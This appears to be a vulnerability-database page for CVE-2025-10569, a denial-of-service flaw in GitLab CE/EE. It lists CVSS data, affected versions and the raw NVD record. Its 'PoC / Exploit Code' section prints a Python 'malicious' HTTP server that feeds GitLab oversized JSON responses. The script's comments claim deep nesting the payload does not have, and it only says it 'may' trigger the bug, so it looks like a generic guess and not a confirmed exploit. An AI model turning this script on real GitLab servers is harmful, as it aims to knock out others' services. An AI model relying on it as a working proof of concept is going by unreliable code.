Security Vulnerability Report
中文
CVE-2025-10569 CVSS 6.5 MEDIUM

CVE-2025-10569

Published: 2026-01-09 10:15:45
Last Modified: 2026-01-22 17:30:01

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 8.3 before 18.5.5, 18.6 before 18.6.3, and 18.7 before 18.7.1 that could have allowed an authenticated user to create a denial of service condition by providing crafted responses to external API calls.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:18.7.0:*:*:*:community:*:*:* - VULNERABLE
GitLab CE/EE 8.3 - 18.5.4
GitLab CE/EE 18.6.0 - 18.6.2
GitLab CE/EE 18.7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-10569 PoC - GitLab DoS via crafted API responses Note: This is for educational and authorized testing purposes only. """ import http.server import socketserver import json import sys class MaliciousAPIHandler(http.server.BaseHTTPRequestHandler): """ Malicious server that sends crafted responses to trigger DoS in GitLab. This PoC simulates an attacker-controlled external API endpoint. """ def do_GET(self): # Send response with crafted data that may trigger DoS self.send_response(200) self.send_header('Content-type', 'application/json') self.end_headers() # Crafted response with deeply nested structures # This can cause issues in GitLab's response parsing malicious_payload = { "status": "success", "data": "A" * 100000, # Large data field "nested": { "level1": { "level2": { "level3": { "data": "x" * 50000 } } } } } self.wfile.write(json.dumps(malicious_payload).encode()) def log_message(self, format, *args): print(f"[Malicious Server] {args[0]}") def start_malicious_server(port=8080): """Start the malicious API server""" with socketserver.TCPServer(("", port), MaliciousAPIHandler) as httpd: print(f"[*] Malicious API server running on port {port}") print(f"[*] Configure GitLab to use this endpoint for external API calls") httpd.serve_forever() if __name__ == "__main__": port = int(sys.argv[1]) if len(sys.argv) > 1 else 8080 start_malicious_server(port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10569", "sourceIdentifier": "[email protected]", "published": "2026-01-09T10:15:44.590", "lastModified": "2026-01-22T17:30:01.333", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 8.3 before 18.5.5, 18.6 before 18.6.3, and 18.7 before 18.7.1 that could have allowed an authenticated user to create a denial of service condition by providing crafted responses to external API calls."}, {"lang": "es", "value": "GitLab ha remediado un problema en GitLab CE/EE que afecta a todas las versiones a partir de la 8.3 y anteriores a la 18.5.5, a partir de la 18.6 y anteriores a la 18.6.3, y a partir de la 18.7 y anteriores a la 18.7.1, que podría haber permitido a un usuario autenticado crear una condición de denegación de servicio al proporcionar respuestas manipuladas a llamadas a la API externa."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "8.3.0", "versionEndExcluding": "18.5.5", "matchCriteriaId": "3999AD0C-23F6-4C47-987A-29CB856B2FF6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "8.3.0", "versionEndExcluding": "18.5.5", "matchCriteriaId": "550B88BE-89ED-4609-8BAC-AAB7F33E46A3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.6.0", "versionEndExcluding": "18.6.3", "matchCriteriaId": "2B9B2E1D-016E-45CF-80CD-7CC77A5B5576"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.6.0", "versionEndExcluding": "18.6.3", "matchCriteriaId": "75013646-70F2-467E-B79E-9301338AB853"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.7.0:*:*:*:community:*:*:*", "matchCriteriaId": "D5EB2CAA-6B1C-4780-B872-82947A098FED"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.7.0:*:*:*:enterprise:*:*:*", "matchCriteriaId": "9B955F55-086B-4EDF-A9E6-5B9E68600494"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/01/07/patch-release-gitlab-18-7-1-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/570528", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3284689", "source": "[email protected]", "tags": ["Permissions Required"]}]}}